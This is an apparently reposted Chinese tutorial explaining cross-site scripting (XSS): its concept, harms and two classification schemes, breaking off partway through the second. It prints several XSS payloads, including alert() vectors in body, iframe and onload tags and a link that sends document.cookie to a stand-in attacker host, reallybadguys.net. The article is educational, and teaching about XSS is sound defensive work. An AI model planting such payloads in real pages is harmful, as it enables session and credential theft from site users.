XSS攻击的原理

最新推荐文章于 2025-08-11 21:03:55 发布

转载最新推荐文章于 2025-08-11 21:03:55 发布 · 636 阅读

文章标签：

#浏览器 #javascript

JavaScript/Jquery 同时被 2 个专栏收录

10 篇文章

订阅专栏

HTML/CSS

4 篇文章

订阅专栏

本文详细阐述了XSS攻击的概念、危害、分类及防御措施，旨在提高开发者对XSS攻击的认识，并提供有效预防手段，确保网站安全。

**概念说明**

Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码，当用户浏览该页或者进行某些操作时，攻击者利用用户对原网站的信任，诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
比如：攻击者在论坛中放一个看似安全的链接，骗取用户点击后，窃取cookie中的用户私密信息；或者攻击者在论坛中加一个恶意表单，当用户提交表单的时候，却把信息传送到攻击者的服务器中，而不是用户原本以为的信任站点。
诸如此类，唯一能完全杜绝xss攻击的方法，就是禁用script，img等，显然这是不靠谱的，用户需要丰富的页面内容；当然我们可以用一些方法预防xss攻击，尽量减少xss造成的危害。

**XSS攻击的危害包括**

盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击
举例：

    <body background=”javascript:alert(‘xss – gotcha!’)”>
    <iframe src=javascript:alert(‘xss – gotcha!’)></iframe>
    > <body onload=”a();”><script>function a(){alert(‘xss -gotcha!’);}</script><”

**xss攻击分类**
分类方法一
xss攻击分为两类：从其它站点到应用站点的攻击、从应用站点到同站或其它站点的攻击
从其它站点到应用站点的攻击：故名思义，这种攻击是由外部发起的，来自email或其它站点。这种攻击在用户点击链接，下载图片或者提交表单的时候，对应用网站进行了意想之外的操作。
通常用户登录后会得到一个可用session，xss攻击者可以利用这个session，越过用户验证，进行一些不安全的操作，如下:

    <a href = “http:// www.2cto.com /addComment.php?subject = I%20am%20owned” >Check it out!</a>

通过这个链接，只要用户登录了，就会发送一个subject，即使在其它网站上。
正因如此，一般的邮箱客户端不会自动从不信任的网站上加载图片（因为考虑到可以通过img的src属性向第三方站点发送GET请求）；另外，可以设置session的过期时间，让session自动失效。

从应用站点到同站或其它站点的攻击：这种攻击，通常是攻击者在应用站点上通过发表评论，或者其它方式嵌入代码，当用户加载页面或者点击链接就会产生一些意想之外的操作。
如下：

    <a href=”#” onmouSEOver = “window.location = ‘http://reallybadguys.net/collectCookie.php?cookie = + document cookie.escape();” >Check it out!</a>

当用户滑过链接，就会将cookie信息发到攻击者的服务器上。

分类方法二
xss的另一种分类方法（个人感觉更清楚），将xss攻击分为三种，
类型A，本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。

**其攻击过程如下**：

Alice给Bob发送一个恶意构造了Web的URL。
Bob点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。
类型B

反射式漏洞，这种漏洞和类型A有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。